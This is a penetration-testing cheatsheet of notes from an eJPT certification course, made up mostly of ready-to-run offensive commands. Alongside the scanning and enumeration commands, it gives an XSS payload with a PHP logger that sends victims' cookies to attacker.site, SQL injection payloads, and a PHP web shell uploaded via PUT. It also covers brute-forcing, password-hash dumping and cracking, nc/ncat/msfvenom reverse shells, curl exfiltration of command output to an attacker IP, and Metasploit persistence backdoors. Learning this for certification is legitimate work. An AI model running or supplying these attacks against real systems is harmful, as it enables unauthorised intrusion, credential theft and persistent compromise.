Note These are all the notes I took while following the INE course for eJPT certification, I strongly think everything you need to pass the exam is in this ‘cheatsheet’.
Notes by @edoardottt, exam passed with 19/20 score.
Info about eJPT certification here.
Read also my blog post about eJPT certification.
sudo openvpn file.ovpn
bg
Linux:
ip route <destination network> via <gateway>
Linux:
ip addr
Linux:
ip neighbor
or
ifconfig
Linux:
netstat -tunp
Windows:
netstat -ano
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i <interface> -t <target> -r <host>
To intercept the traffic between 192.168.4.11 and 192.168.4.16
arpspoof -i eth0 -t 192.168.4.11 -r 192.168.4.16
fping -a -g 192.168.1.0/24 2> /dev/null
or
fping -a -f targets.txt 2>/dev/null
or
nmap -sn 192.168.1.0/24
or
nmap -sn -iL networks.txt
nmap -Pn -O <target(s)>
nmap
…Then remember:
-sT
: TCP Connect Scan, usually recorded in application logs-sS
: TCP Syn Scan, usually not recorded in app. logs (well configured IDSs do)-sV
: Version Detection Scan, TCP Connect Scan + Banner DetectionExample:
nmap -sS -p 1-100,443 192.168.1.13,14
Tip: Use --reason
to show the explanation of why a port is marked open or closed
Tip: Use --open
to show only open, open|filtered, and unfiltered ports.
TCP Quick Scan
nmap -sV -sC 192.168.1.1
TCP Full Scan
nmap -sV -sC -p- 192.168.1.1
UDP Quick Scan
nmap -sV -sU 192.168.1.1
Get info on a particular service:
nmap -sC -p 27017 192.168.1.13 | less
Check if masscan is properly installed:
masscan --regress
Scan example:
masscan -p22,80,443,53,3389,8080,445 -Pn --rate=800 --banners 192.168.1.0/24
If you want to use a VPN connection (configure the options properly):
masscan -p22,80,443,53,3389,8080,445 -Pn --rate=800 --banners 192.168.1.0/24 -e tap0 --router-ip 192.168.1.1
In order to save the configuration into a file:
masscan -p22,80,443,53,3389,8080,445 -Pn --rate=800 --banners 192.168.1.0/24 --echo > masscan.conf
Use the configuration file as input:
masscan -c masscan.conf
Using netcat:
nc 192.168.1.2 80
HEAD / HTTP/1.1
Using openssl:
openssl s_client -connect target.site:443
HEAD / HTTP/1.1
Using httprint:
httprint -P0 -h 192.168.1.1 -s /usr/local/bin/signatures.txt
Default scan:
dirb http://google.com
Using a custom wordlist:
dirb http://google.com /usr/share/dirb/wordlists/small.txt
Using cookies:
dirb http://google.com -c "COOKIE:XYZ"
Using Basic Authentication:
dirb http://google.com -u "admin:password"
Using Custom Header:
dirb http://google.com -H "MyHeader: MyContent"
Disable recursive enumeration:
dirb http://google.com -r
Set Speed delay in milliseconds:
dirb http://google.com -z 1000
Specify extensions:
dirb http://google.com -X ".php,.bak"
Save results in a file:
dirb http://google.com -o results.txt
site:
Include only results on a given hostnameintitle:
Filters according to the title of a pageinurl:
Similar to intitle but works on the URL of a resourcefiletype:
Filters by using the file extension of a resourceAND
, OR
, |
Use logical operators to combine your expressions-
Filter out a keyword or a command’s resultExample: -inurl:(htm|html|php|asp|jsp) intitle:"index of" "last modified" "parent directory" txt OR doc OR pdf
See also the Google Hacking Database
Payload: <script>var i = new Image(); i.src = "http://attacker.site/log.php?q+"+document.cookie;</script>
Server:
<?php
$filename="/tmp/log.txt";
$fp=fopen($filename, 'a');
$cookie=$_GET['q'];
fwrite($fp, $cookie);
fclose($fp);
?>
Payloads:
' OR 'a'='a
' UNION SELECT Username, Password FROM Accounts WHERE 'a'='a
' OR substr(user(),1,1) = 'a
' UNION SELECT user(); -- -
Sqlmap:
sqlmap -u 'http://victim.site/view.php?id=1141' --cookie "PHPSESSID=m42ba4etbktcktvjadirnsqqg4;
sqlmap -u 'http://victim.site/view.php?id=1141' -p id --technique=U
sqlmap -u 'http://victim.site/view.php?id=1141' --banner
sqlmap -u 'http://victim.site/view.php?id=1141' -v3 --fresh-queries
sqlmap -u 'http://victim.site/view.php?id=1141' --users
sqlmap -u 'http://victim.site/view.php?id=1141' --dbs
sqlmap -u 'http://victim.site/view.php?id=1141' --tables
sqlmap -u 'http://victim.site/view.php?id=1141' -D <db-name> -T <table-name>
sqlmap -u 'http://victim.site/view.php?id=1141' --current-db <db-name> --columns
sqlmap -u 'http://victim.site/view.php?id=1141' --current-db <db-name> --dump
sqlmap -u 'http://victim.site/login.php' --data='user=a&pass=a' -p user --technique=B --banner
sqlmap -r post-vuln-sqli.txt -p user --technique=B --banner
Tip: Dump only the data you’re interested in, not the whole database. Dumping a lot of data using SQLi is very noisy and a heavy process.
wc -m payload.php
20 payload.php
nc victim.site 80
PUT /payload.php HTTP/1.1
Host: victim.site
Content-type: text/html
Content-length: 20
<?php phpinfo(); ?>
<?php
if (isset($_GET['cmd']))
{
$cmd = $_GET['cmd'];
echo '<pre>';
$result = shell_exec($cmd);
echo $result;
echo '</pre>';
}
?>
hydra -U http-post-form
(get info on a module)hydra -L users.txt -P passwords.txt <service://server> <options>
hydra crackme.site http-post-form "/login.php:user=^USER^&pwd=^PASS^:invalid credentials" -L users.txt -P passwords.txt -f -V
hydra 192.168.1.2 ssh -L users.txt -P passwords.txt -f -V
nmap -p 22 --script ssh-brute --script-args userdb=/root/users.txt demo.ine.local
use auxiliary/scanner/ssh/ssh_login
set RHOSTS demo.ine.local
set USERPASS_FILE /usr/share/wordlists/metasploit/root_userpass.txt
set STOP_ON_SUCCESS true
set verbose true
exploit
unshadow /etc/passwd /etc/shadow > crackme.txt
john --incremental -users:<users-list> crackme.txt
(bruteforce, don’t use it!)john --show crackme.txt
john --wordlist=<wordlist-filename> crackme.txt
john --wordlist=<wordlist-filename> --rules crackme.txt
(enable word mangling)/usr/share/john/office2john.py MS_Word_Document.docx > hash
john --wordlist=passwds.txt hash
hashcat -m 0 -a 0 -D2 example0.hash example.dict
(m = 0 is MD5)hashcat -m 0 -a 0 -D2 example0.hash example.dict -r custom.rule
Interesting shares:
\\ComputerName\C$
lets an administrator access a volume (C$, D$, E$…)\\ComputerName\admin$
points to the Windows installation directoryEnumerating shares (Windows):
nbtstat -A 192.168.1.11
net view 192.168.1.11
net use \\192.168.1.11\IPC$ '' /u:''
(null session attack)enum -S 192.168.1.11
(enum)enum -U 192.168.1.11
enum -P 192.168.1.11
Enumerating shares (Linux):
nmblookup -A 192.168.1.11
smbclient -L //192.168.1.11 -N
smbclient //192.168.1.11/IPC$ -N
(null session attack)enum4linux -n 192.168.1.11
enum4linux -P 192.168.1.11
enum4linux -S 192.168.1.11
enum4linux -s /usr/share/enum4linux/share-list.txt 192.168.1.11
enum4linux -a 192.168.1.11
smbmap -H demo.ine.local
nmap -sU -sV -p137,138 demo.ine.local
nmap -script=smb-enum-shares -Pn 192.168.1.11
nmap -script=smb-enum-users -Pn 192.168.1.11
nmap -script=smb-brute -Pn 192.168.1.11
nmap --script smb-vuln-* -Pn 192.168.1.11
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.1.11
msfconsole
show -h
search <keyword(s)>
use <path-to-exploit>
show options
set <option-name> <option-value>
exploit
Tip: Use show payloads
when an exploit is selected to show only the available payloads for that exploit
Tip: Use info
when an exploit is selected to get information about the exploit
Tip: Use back
when an exploit is selected to return to unselect it
Inside metasploit:
search meterpreter
set payload <payload-path>
background
sessions -l
(list the sessions)sessions -i <session-id>
(resume a background session)sysinfo
ifconfig
route
getuid
getsystem
pwd
, ls
, cd
…download <filename> <location>
upload <filename> <location>
shell
hashdump
run autoroute -h
run autoroute -s 192.130.110.0 -n 255.255.255.0
(pivoting towards that network)Tip: help
shows an amazing list of available commands divided by category
Tip: If getsystem
fails, use use exploit/windows/local/bypassuac
Tip: ps -U SYSTEM
shows only the processes with SYSTEM privileges
Tip: Use post/windows/gather/hashdump
to dump the passwords DB and save it for an offline cracking session
Let’s say we have compromised a machine using metasploit and we have a meterpreter shell with session id 1. We discover that there is another machine but it’s reachable only from the compromised machine.
Our IP: 192.180.40.2
Compromised host: 192.180.40.3
Unreachable machine: 192.130.110.3
meterpreter > run autoroute -s 192.130.110.0 -n 255.255.255.0 1
background
msf > route
If we want to scan the 192.130.110.0/24
network we can use:
msf > use auxiliary/scanner/portscan/tcp
msf > set PORTS 80, 8080, 445, 21, 22, ...
msf > set RHOSTS 192.130.110.1-254
msf > exploit
If we discover that at least one port is open and we want to target a specific port on a specific host (e.g. 192.130.110.3:21
) we can use:
sessions 1
(back to meterpreter session)portfwd add -l 1234 -p 21 -r 192.130.110.3
(forwarding remote machine port 21 to the local machine port 1234)portfwd list
background
Then if we want to scan the service we can use nmap:
msf > nmap -sS -sV -p 1234 localhost
Attacker:
nc -lvp 8888 -e /bin/bash
Target (the IP of the attacker):
nc -v 192.168.1.1 8888
msfvenom --list payloads | grep <keyword>
msfvenom -p php/reverse_php lhost=192.168.0.58 lport=443 -o reverse.php
msfvenom -p linux/x64/shell/reverse_tcp lhost=192.168.0.58 lport=443 -f elf -o reverse443
chmod +x reverse443
Note: If you have generated a meterpreter payload shell, you have to use meterpreter in order to receive back the connection
Target (Use the Attacker IP)
curl http://192.168.1.130:53/`whoami`
or
curl http://192.168.1.130:53/`id | base64`
Attacker:
nc -lvp 53
Tip: You can also create a reverse shell with msfvenom
and let the target download it
background
use post/linux/gather/enum_users_history
set SESSION 1
exploit
Receiver:
nc -lvnp 8888 > received.txt
Sender (the IP of the receiver):
cat message.txt | nc -v 192.168.1.1 8888
Victim:
ncat -l -p 5555 -e cmd.exe
Attacker (the IP of the victim):
ncat 192.168.1.66 5555
Attacker:
ncat -l -p 5555 -v
Victim (the IP of the attacker):
ncat -e cmd.exe 192.168.1.66 5555
Tip: For persistent reverse backdoor use the registry key Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
msfconsole
use exploit/windows/local/s4u_persistence
show options
sessions
set session <session-id>
set trigger logon
set payload windows/meterpreter/reverse_tcp
set lhost <local-ip>
set lport 1234
exploit
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost <local-ip>
set lport 1234
exploit
sysinfo
ps
help
Tip: once we get a shell we can use screenshot
to get a picture of what the victim is seeing on the Desktop
Tip: once we get a shell we can use download filename location
to save the filename in the specified location on our machine
Tip: Same syntax as above but use upload
to upload files
Tip: Use getsystem
to gain the highest privilege (i.e. SYSTEM) on the compromised machine and getuid
to check if it actually worked.
bash -i
python -c 'import pty; pty.spawn("/bin/sh")'
Inside a meterpreter session:
background
use exploit/windows/local/persistence_service
show options
set SESSION <session-id>
exploit
Use the backdoor:
background
sessions -K
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <your-ip>
set LPORT 4444
exploit
Note: The <session-id>
is the one you can read when you type background
Note: We need to use the same information about the backdoor to receive a new meterpreter session on the multi-handler. We can’t change Payload, IP or Ports details.
You have access to a compromised host and only from there you can access another machine. That machine exposes a web server, in order to access it from your computer set up a SOCKS proxy.
Add the route to the unreachable network using autoroute or route.
msf > use auxiliary/server/socks_proxy
msf > set VERSION 4a
msf > set SRVPORT 9050
msf > run -j
root@INE:~# proxychains nmap ...
Then you can also setup firefox in order to send request using the SOCKS proxy v4 at 127.0.0.1:9050
.
Inside a meterpreter session:
migrate -N explorer.exe
background
use post/windows/gather/credentials/windows_autologin
set SESSION <session-id>
exploit
If you find an error or want to improve this page, just open an issue.
Don’t text/mail me looking for exam solutions.